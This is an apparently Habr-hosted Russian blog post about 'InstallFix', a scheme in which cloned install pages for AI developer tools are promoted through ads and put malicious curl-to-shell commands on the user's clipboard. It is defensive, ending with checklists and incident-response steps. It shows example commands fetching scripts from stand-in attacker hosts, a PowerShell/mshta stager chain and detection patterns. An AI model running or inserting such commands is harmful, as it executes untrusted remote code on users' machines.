07.05.2026 11:05
NicholasKuzya 2 6800 Источник

Это не история про то, что Claude опасен.

И не история про то, что AI-инструменты сами по себе вредные.

Это история про гораздо более скучную, но опасную вещь:

разработчики привыкли копировать install-команды из браузера прямо в терминал.

И атакующие начали бить именно в эту привычку.

Раньше фишинг часто выглядел как письмо, fake login page или “скачайте важный документ”.

Сейчас в мире developer tools, AI coding assistants и CLI-инструментов появилась другая форма атаки:

  • фейковая документация;

  • фейковая install page;

  • фейковая кнопка Copy;

  • malware вместо нормального installer.

Человек не открывает подозрительное вложение.

Он просто гуглит что-то вроде:

Claude Code install

Открывает страницу, похожую на официальную документацию, копирует команду и запускает ее.

Выглядит как обычная установка CLI-инструмента.

А на деле это может быть началом malware chain.

Что такое InstallFix

Push Security назвали этот паттерн InstallFix.

Идея простая:

  1. Атакующий клонирует страницу установки популярного developer tool.

  2. Страница выглядит почти как официальная документация.

  3. Внутри меняется install-команда.

  4. Трафик приводится через Google Ads или другой malvertising.

  5. Пользователь сам копирует команду и сам запускает ее в терминале.

  6. Вместо нормального installer выполняется malicious payload.

Это похоже на ClickFix, но pretext другой.

В ClickFix пользователя часто заставляют “починить” что-то:

  • CAPTCHA;

  • browser error;

  • access issue;

  • “выполните команду, чтобы продолжить”.

В InstallFix ничего чинить не нужно.

Пользователь сам хочет установить легитимный инструмент.

И именно поэтому атака выглядит естественно.

Почему AI tools стали удобной приманкой

AI tooling сейчас растет очень быстро.

Люди ставят:

  • Claude Code;

  • ChatGPT-related tools;

  • Cursor plugins;

  • MCP servers;

  • agent frameworks;

  • CLI wrappers;

  • browser extensions;

  • desktop clients.

И далеко не всегда это проходит через нормальный internal approval.

В реальности часто бывает так:

  1. Коллега показал новый инструмент.

  2. Разработчик загуглил install guide.

  3. Открыл первую ссылку.

  4. Скопировал команду.

  5. Запустил ее.

Для атакующего это почти идеальная ситуация:

  • высокий интерес к новым AI-инструментам;

  • пользователь ожидает увидеть terminal-команду;

  • sponsored result может быть выше официальной ссылки;

  • страницу документации легко клонировать;

  • install-команда выглядит правдоподобно;

  • после установки пользователя можно даже перекинуть на настоящий сайт, и он ничего не заметит.

Проблема не в Claude.

Проблема в том, что разработчик доверяет странице, которую нашел через поиск.

Простой сценарий атаки

Представим обычную ситуацию.

Разработчик хочет поставить AI coding assistant.

Он ищет:

Claude Code install

Вверху выдачи видит sponsored result.

Домен выглядит почти нормально:

claude-code-docs.example
claude-code-install.example
claude-update.example

Страница похожа на документацию:

  • логотип;

  • sidebar;

  • quickstart;

  • tabs для macOS/Linux/Windows;

  • кнопка Copy;

  • короткая install-команда.

На экране пользователь видит что-то вроде:

curl -fsSL https://claude.ai/install.sh | sh

Но проблема в том, что видимая команда и команда, которая реально попадает в clipboard, не обязаны совпадать.

Например, на странице может быть показано:

curl -fsSL https://claude.ai/install.sh | sh

А после нажатия Copy в clipboard может попасть:

curl -fsSL https://download.example.invalid/install.sh | sh

Или еще хуже:

curl -fsSL https://download.example.invalid/bootstrap | sh

Суть не в конкретном URL.

Суть в том, что пользователь доверяет UI страницы, а не проверяет команду перед запуском.

Почему кнопка Copy — отдельный риск

На web-странице команда обычно показывается как текст, а рядом лежит кнопка Copy.

Эта кнопка может копировать не то, что пользователь видит глазами.

Условно:

visible text:
  curl -fsSL https://official.example/install.sh | sh

clipboard value:
  curl -fsSL https://attacker.example/install.sh | sh

Можно сделать еще тоньше:

  • показывать официальный домен в UI;

  • копировать attacker-controlled URL;

  • добавлять base64-decoding;

  • добавлять silent flags;

  • выбирать payload под OS;

  • подменять команду только для пользователей из нужной страны;

  • подменять команду только при переходе из ad campaign;

  • показывать нормальную команду security-сканерам и вредную — реальным пользователям.

Поэтому фраза “я же видел нормальную команду на странице” ничего не гарантирует.

Гарантия появляется только в одном месте:

когда человек смотрит команду уже после paste, до нажатия Enter.

Да, это банально.

Но именно на таких банальных привычках атаки часто и работают.

Windows-сценарий: PowerShell, mshta и staged execution

В Windows-вариантах таких кампаний часто используются living-off-the-land binaries.

Например, цепочка может выглядеть так:

browser / user paste
  -> PowerShell
  -> mshta.exe
  -> remote HTA/script
  -> cmd.exe / powershell stager
  -> payload
  -> persistence / credential theft

Пользователь не обязательно скачивает setup.exe.

Он может сам запустить команду, которая подтянет все остальное.

И с точки зрения части security controls это выглядит не как “файл из почты”, а как обычная terminal activity пользователя.

macOS/Linux-сценарий: curl-to-shell

На macOS и Linux привычный паттерн другой:

curl -fsSL https://example.com/install.sh | sh

Или:

curl -fsSL https://example.com/install.sh | zsh

Это удобно.

И поэтому опасно.

Такая команда буквально означает:

скачай удаленный script и сразу выполни его.

Если домен официальный и script ожидаемый — это стандартный developer workflow.

Если домен подменен — это remote code execution руками пользователя.

Проблема не в curl.

Проблема в том, что trust boundary превращается в:

“я доверяю этой web-странице и ее кнопке Copy”.

А это слабая граница.

Почему sponsored result опаснее, чем кажется

Многие до сих пор воспринимают Google Ads как что-то относительно легитимное.

Логика примерно такая:

если ссылка вверху Google, наверное, это нормальный сайт.

Это плохая эвристика.

Malvertising работает именно потому, что пользователь сам ищет нужный инструмент.

Нет phishing email.

Нет подозрительного вложения.

Нет странного сообщения в мессенджере.

Пользователь сам инициировал действие.

И поэтому психологически он меньше насторожен.

Для корпоративной среды это особенно неприятно, потому что employee может ставить инструмент на рабочую машину, где есть:

  • source code;

  • SSH keys;

  • browser sessions;

  • password manager session;

  • Git credentials;

  • cloud CLI tokens;

  • kubeconfig;

  • CI/CD access;

  • internal docs;

  • VPN access.

Infostealer на такой машине — это уже не просто “личный ноутбук заразился”.

Это потенциальная точка входа в компанию.

Чем InstallFix отличается от обычного fake installer

Классический fake installer выглядит так:

скачайте setup.exe
запустите installer
получите malware

InstallFix тоньше.

Он использует нормальную developer-привычку:

документация говорит скопировать команду
я копирую команду
я запускаю команду

Для разработчика это не выглядит как “я скачал подозрительный exe”.

Это выглядит как:

“я поставил CLI tool по документации”.

Поэтому awareness должен быть не только про “не открывайте exe из интернета”.

Нужно отдельно проговаривать:

terminal commands из браузера — это тоже code execution.

Что проверять перед запуском install-команды

Минимальный checklist для разработчика:

1. Не ставить developer tools через sponsored results

Если нужно поставить CLI, SDK, AI assistant или package manager — лучше идти на официальный сайт из known source, а не по рекламной ссылке.

2. Проверять домен в самой команде

Важно смотреть не только на address bar браузера.

Нужно проверить, куда реально идет команда:

curl -fsSL https://some-domain.example/install.sh | sh

3. После paste смотреть команду до Enter

Самое простое правило:

вставил команду — остановился — прочитал — только потом нажал Enter.

4. Не запускать curl | sh, если непонятно, что скачивается

Лучше сначала скачать script отдельно:

curl -fsSL https://official.example/install.sh -o install.sh

Потом открыть его:

less install.sh

И только после этого запускать:

sh install.sh

5. Новые AI tools лучше тестировать в изолированной среде

Если инструмент непроверенный, лучше использовать:

  • disposable VM;

  • test machine;

  • container;

  • отдельный dev environment без production secrets.

Не стоит запускать случайный install script на рабочей машине, где лежат токены, kubeconfig и доступы к GitLab/GitHub.

Что можно сделать на уровне команды

Одного awareness мало.

Нужны практические controls.

1. Internal allowlist для developer tools

У команды должен быть список approved tools и официальных источников.

Например:

Claude Code:
  official_docs: https://docs.anthropic.com/...
  package: "@anthropic-ai/claude-code"

Node.js:
  official: https://nodejs.org/
  internal_mirror: https://nexus.example.com/...

Homebrew:
  official: https://brew.sh/

Если человек находит install guide через Google Ads — это уже повод остановиться.

2. Internal installation docs

Для популярных tools лучше иметь внутреннюю страницу:

  • как установить;

  • какую команду использовать;

  • какой домен ожидается;

  • какой hash/signature проверять;

  • куда писать, если установка не работает.

Это особенно актуально для AI tools.

Люди все равно будут их пробовать.

Если компания не дает безопасный путь, сотрудники найдут небезопасный.

3. DNS / SWG controls

Можно блокировать:

  • newly registered domains;

  • suspicious lookalike domains;

  • known malicious domains;

  • ad-delivered installer pages;

  • direct access к suspicious payload hosts.

Это не серебряная пуля.

Атакующие быстро меняют инфраструктуру.

Но как дополнительный слой защиты это полезно.

4. Endpoint detections

На Windows стоит смотреть на такие behavioral patterns:

browser -> powershell
browser -> cmd
powershell -> mshta
mshta -> cmd
mshta -> powershell
powershell -EncodedCommand
PowerShell AMSI tampering
new scheduled task near install activity
unexpected outbound from scripting hosts

Особенно если это происходит сразу после посещения install page.

Для macOS/Linux:

shell spawned from browser-adjacent activity
curl/wget downloading script to /tmp
chmod +x on fresh download
execution from /tmp
unexpected LaunchAgents
unexpected persistence files
suspicious outbound after install command

Контекст важен.

curl сам по себе не malware.

PowerShell сам по себе не malware.

Но browser-driven install flow + suspicious domain + obfuscated command + persistence — это уже совсем другой разговор.

Почему это важно для AppSec и DevSecOps

На первый взгляд это endpoint/security awareness тема.

Но на самом деле это напрямую связано с AppSec и DevSecOps.

Developer machines часто имеют доступ к supply chain:

  • Git repositories;

  • package registries;

  • container registries;

  • CI/CD variables;

  • deployment configs;

  • signing keys;

  • cloud credentials;

  • kubeconfigs.

Если infostealer получает browser tokens или локальные credentials, это может стать supply chain incident.

Поэтому в Secure SDLC стоит добавлять:

  • approved source list для dev tools;

  • запрет установки tools из sponsored results;

  • internal installation docs;

  • sandboxing для новых AI tools;

  • endpoint telemetry на developer machines;

  • least-privilege для developer tokens;

  • short-lived credentials;

  • отдельные accounts/tokens для production;

  • регулярную ревизию local secrets и kubeconfigs.

Это не “борьба с Claude”.

Это нормальная hygiene вокруг developer workstation security.

Incident response checklist

Если человек уже запустил подозрительную install-команду:

  1. Не продолжать работу на машине.

  2. Отключить сеть или изолировать endpoint через EDR.

  3. Сохранить команду, URL, browser history и примерное время запуска.

  4. Проверить process tree:

    • browser;

    • shell;

    • PowerShell;

    • mshta;

    • cmd;

    • curl;

    • zsh.

  5. Проверить persistence:

    • scheduled tasks;

    • LaunchAgents;

    • startup items;

    • shell profile modifications.

  6. Проверить outbound connections.

  7. Считать browser sessions и local tokens potentially compromised.

  8. Ротировать credentials:

    • GitHub/GitLab;

    • cloud;

    • registry;

    • package manager;

    • CI/CD;

    • VPN;

    • password manager session, если есть риск.

  9. Проверить recent repository activity.

  10. Переустановить workstation, если нет уверенности в полном cleanup.

Главное:

если это infostealer, простого “удалил файл” может быть мало.

Что это не заменяет

Проверка install-команд не заменяет:

  • EDR;

  • DNS filtering;

  • secure web gateway;

  • least privilege;

  • secret rotation;

  • software allowlisting;

  • internal package mirrors;

  • developer security training.

Но она закрывает очень конкретную дыру:

человек не должен вслепую выполнять код из страницы, которую нашел через рекламу.

Вывод

InstallFix неприятен не технической сложностью.

Он неприятен тем, что использует нормальный developer workflow.

Мы сами приучили людей:

копируй команду из docs
вставляй в terminal
жми Enter

Атакующие просто подменили docs.

Или команду.

Или clipboard value.

И этого уже достаточно.

Поэтому правило простое:

install command из браузера = code execution.

К ней надо относиться как к коду:

  • проверить источник;

  • проверить домен;

  • проверить команду после paste;

  • не доверять sponsored results;

  • не запускать непонятный install.sh на рабочей машине с secrets;

  • иметь internal approved path для популярных tools.

Это маленькая привычка.

Но она может отделять обычную установку AI tool от запуска infostealer на developer workstation.

Sources

Комментарии (2)


  1. DreamShaded
    09.05.2026 11:51
    #29949084

    Видимо, при переносе из MD форматирование поехало, оч тяжко читать. Можете поправить, пожалуйста?


    1. NicholasKuzya Автор
      09.05.2026 11:51
      #29949908

      спасибо поправлю